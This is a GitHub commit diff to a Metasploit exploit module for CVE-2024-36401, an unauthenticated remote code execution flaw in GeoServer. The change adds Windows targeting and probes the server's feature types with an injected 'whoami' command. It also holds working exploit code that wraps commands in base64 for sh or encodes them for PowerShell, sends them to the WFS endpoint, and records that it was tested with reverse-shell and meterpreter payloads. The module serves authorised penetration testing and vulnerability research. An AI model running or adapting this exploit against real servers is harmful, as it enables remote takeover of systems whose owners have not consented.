Skip to content

Commit fa734b5

Browse files
committed
Land rapid7#19368, Geoserver enhancement
Merge branch 'land-19368' into upstream-master
2 parents 6b49eb3 + be4900f commit fa734b5

File tree

1 file changed

+27
-40
lines changed

1 file changed

+27
-40
lines changed

modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb

Lines changed: 27 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88
prepend Msf::Exploit::Remote::AutoCheck
99
include Msf::Exploit::Remote::HttpClient
10-
include Msf::Exploit::CmdStager
1110

1211
def initialize(info = {})
1312
super(
@@ -31,17 +30,19 @@ def initialize(info = {})
3130
'Author' => [
3231
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
3332
'jheysel-r7', # MSF module Windows support
34-
'Steve Ikeoka' # Discovery
33+
'Steve Ikeoka', # Discovery
34+
'Valentin Lobstein a.k.a chocapikk' # Dynamic featuretype code enhancement
3535
],
3636
'References' => [
3737
['CVE', '2024-36401'],
3838
['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
3939
['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
40-
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
40+
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401'],
41+
['URL', 'https://github.com/Chocapikk/CVE-2024-36401']
4142
],
4243
'DisclosureDate' => '2024-07-01',
43-
'Platform' => ['unix', 'linux'],
44-
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
44+
'Platform' => ['unix', 'linux', 'windows'],
45+
'Arch' => [ARCH_CMD],
4546
'Privileged' => true,
4647
'Targets' => [
4748
[
@@ -51,23 +52,13 @@ def initialize(info = {})
5152
'Arch' => ARCH_CMD,
5253
'Type' => :unix_cmd
5354
# Tested with cmd/unix/reverse_bash
54-
}
55-
],
56-
[
57-
'Linux Dropper',
58-
{
59-
'Platform' => ['linux'],
60-
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
61-
'Type' => :linux_dropper,
62-
'Linemax' => 16384,
63-
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
64-
# Tested with linux/x64/meterpreter_reverse_tcp
55+
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
6556
}
6657
],
6758
[
6859
'Windows Command',
6960
{
70-
'Platform' => ['Windows'],
61+
'Platform' => ['windows'],
7162
'Arch' => ARCH_CMD,
7263
'Type' => :win_cmd
7364
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
@@ -100,7 +91,7 @@ def check_version
10091
'keep_cookies' => true,
10192
'method' => 'GET'
10293
})
103-
return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')
94+
return nil unless res&.code == 200 && res.body.include?('GeoServer Version')
10495

10596
html = res.get_html_document
10697
unless html.blank?
@@ -112,7 +103,7 @@ def check_version
112103
end
113104

114105
def get_valid_featuretype
115-
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
106+
# get a list of available feature types and test if the feature type is supporting the RCE
116107
res = send_request_cgi!({
117108
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
118109
'method' => 'GET',
@@ -123,36 +114,32 @@ def get_valid_featuretype
123114
'service' => 'wfs'
124115
}
125116
})
126-
return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')
117+
return nil unless res&.code == 200 && res.body.include?('ListStoredQueriesResponse')
127118

128119
xml = res.get_xml_document
129120
unless xml.blank?
130121
xml.remove_namespaces!
131122
# get all the FeatureTypes and store them in an array of strings
132123
retrieved_feature_types = xml.xpath('//ReturnFeatureType')
133124
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
134-
# return the feature type if a match is found in the allowed_feature_types array
125+
# test and return the feature type if an RCE is possible
135126
retrieved_feature_types.to_a.shuffle.each do |feature_type|
136-
return feature_type.text if allowed_feature_types.include?(feature_type.text)
127+
return feature_type.text if execute_command('whoami', feature_type.text)
137128
end
138129
end
139130
nil
140131
end
141132

142-
def create_payload(cmd)
143-
# get a valid feature type and fail back to a default if not successful
144-
feature_type = get_valid_featuretype
145-
feature_type = 'sf:archsites' if feature_type.nil?
146-
133+
def create_payload(cmd, feature_type)
147134
case target['Type']
148-
when :unix_cmd || :linux_dropper
135+
when :unix_cmd
149136
# create customised b64 encoded payload
150137
# 'Encoder' => 'cmd/base64' does not work in this particular use case
151-
cmd_b64 = Base64.strict_encode64(cmd)
152-
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
138+
enc_cmd_b64 = Base64.strict_encode64(cmd)
139+
cmd = "sh -c echo${IFS}#{enc_cmd_b64}|base64${IFS}-d|sh"
153140
when :win_cmd
154-
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
155-
cmd = "powershell.exe -e #{enc_cmd}"
141+
enc_cmd_b64 = Base64.strict_encode64("cmd /C --% #{cmd}".encode('UTF-16LE'))
142+
cmd = "powershell.exe -e #{enc_cmd_b64}"
156143
end
157144

158145
return <<~EOS
@@ -166,15 +153,17 @@ def create_payload(cmd)
166153
EOS
167154
end
168155

169-
def execute_command(cmd, _opts = {})
156+
def execute_command(cmd, feature_type, _opts = {})
170157
res = send_request_cgi({
171158
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
172159
'method' => 'POST',
173160
'ctype' => 'application/xml',
174161
'keep_cookies' => true,
175-
'data' => create_payload(cmd)
162+
'data' => create_payload(cmd, feature_type)
176163
})
177-
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
164+
return false unless res&.code == 400 && res.body.include?('ClassCastException')
165+
166+
true
178167
end
179168

180169
def check
@@ -190,11 +179,9 @@ def exploit
190179

191180
case target['Type']
192181
when :unix_cmd, :win_cmd
193-
execute_command(payload.encoded)
194-
when :linux_dropper
195-
# don't check the response here since the server won't respond
196-
# if the payload is successfully executed.
197-
execute_cmdstager({ linemax: target.opts['Linemax'] })
182+
valid_feature_type = get_valid_featuretype
183+
fail_with(Failure::NotFound, 'No valid featuretype found to estabish the RCE.') if valid_feature_type.nil?
184+
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless execute_command(payload.encoded, valid_feature_type)
198185
end
199186
end
200187
end

0 commit comments

Comments
 (0)